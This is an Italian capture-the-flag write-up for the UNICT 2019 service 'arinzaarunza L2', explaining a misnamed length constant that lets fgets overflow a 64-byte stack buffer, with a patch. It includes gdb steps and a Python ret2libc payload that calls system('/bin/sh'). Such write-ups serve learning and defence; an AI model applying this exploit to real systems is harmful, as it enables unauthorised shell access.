ARINZAARUNZA L2 CTF 2019

-Jelly Hinge Team-

1 Introduzione

Uno dei servizi della CTF dell'UNICT 2019 è arinzaarunza L2, successore diretto di arinnzaarunza L0, anch'esso sensibile ad un attacco di tipo Buffer Over Flow.

2 Il servizio

Il servizio, reperibile nella pagina Github[1]dell'evento, fornisce all'utente un'interfaccia che dà la possibilità di stampare, salvare e cancellare delle stringhe.

2.1 L'offuscamento

Il codice del servizio è ancor più ricco di funzioni che tentano di nascondere la vulnerabilità. Come se non bastasse gli indici del menù vengono gestiti in base ottale ma mostrati all'utente come decimali. Anche in questo un paio delle funzionalità vengono nascoste all'utente.

2.2 Le funzionalità nascoste e gli indizii

Vi sono più funzionalità nascoste,ma quella degna di note è accessibile inserendo "89" nel menù ed è gestita dalla funzione "jnjnefomvwe". Dall'analisi del codice emerge la presenza di stringhe nascoste nella parte destra del file, riuscire a farle stampare dal sistema da sicuramente un indizio sul procedere dell'exploit. Inoltre, due delle costanti definite ad inizio file destano sospetto.

```
74      #define STR_LENGTH 64
75      #define STR_LENGHT 128
```

Il comune errore grammaticale nel nome della costante STR_LENGHT e la dimensione doppia rispetto alla costante con il nome grammaticalmente corretto forniscono un ulteriore indizio.

[1]https://github.com/unictf/unictf-2019/tree/master/services

2.3 Le vulnerabilità

La funzionalità nascosta non fa altro che controllare la stringa inserita dall'utente e prendere una decisone sulla base di essa. In particolare, la porzione di codice interessante è la seguente:

```
322             if(strcmp(buff,qweafvf)==0)

323                     pooifwg();

324              else

325                     vvrevreg();
```

Controllando il codice di entrambe le funzioni, si evince come "vvrevreg" utilizzi la costante STR_LENGHT.

```
int vvrevreg()
{
        fflush(stdout);
        fflush(stdout);
        char STRunz[STR_LENGTH];
        printf(bkbrbrr);
        fflush(stdout);
        fgets(STRunz,STR_LENGHT,stdin);
        return 0;
}
```

Questa "fgets" su una dimensione sbagliata è la vulnerabilità del codice, nonché la chiave per l'exploit.

3 L'exploit

Per poter eseguire BOF bisogna far eseguire il pezzo di codice vulnerabile. Per poter fare ciò, bisogna soddisfare la catena di condizioni precedenti all'invocazione della funzione vulnerabile, in particolare:

297 if(strcmp(buff,ascvrrf)==0)

Analizzando il codice, l'array di char "ascvrff" contiene la stringa "system". Le condizioni successive sono legate a richieste dipendenti alla macchina e alla rete. Una volta soddisfatte le richieste ed eseguita la funzione vulnerabile sarà possibile scrivere e leggere dallo stack a piacimento. Utilizzando gdb è possibile visualizzare l'indirizzo della systemcall di libc ("print system"),successivamente ,sempre grazie a gdb, è possibile cercare l'indirizzo di /bin/sh (find <LIBC ADDRESS> ,+999999,"/bin/sh"). Per eseguire l'exploit [2]basta lanciare il seguente programma in python:

```
import struct
        strin="89\nsystem\n<IP ADDRESS>\n127.0.0.1\nAAA\n"

        pad="A"*64+"BBBBCCCCDDDD"
        sys=struct.pack("I",<LIBC ADDRESS>)
        ret="AAAA"
        bin=struct.pack("I",<SHELL ADDRESS>)
        pad1="\$0"*20
        print strin+pad+sys+ret+bin+pad1
```

4 La patch

La patch per poter risolvere il problema è banale, bisogna studiare la grammatica inglese e rimpiazzare la costante STR_LENGHT con STR_LENGTH.

[2](L'exploit cosi presentato è efficace soltanto in LOCALE, durante la CTF era necessario eseguire lo script in remoto ed aprire un canale di comunicazione con la macchina avversaria)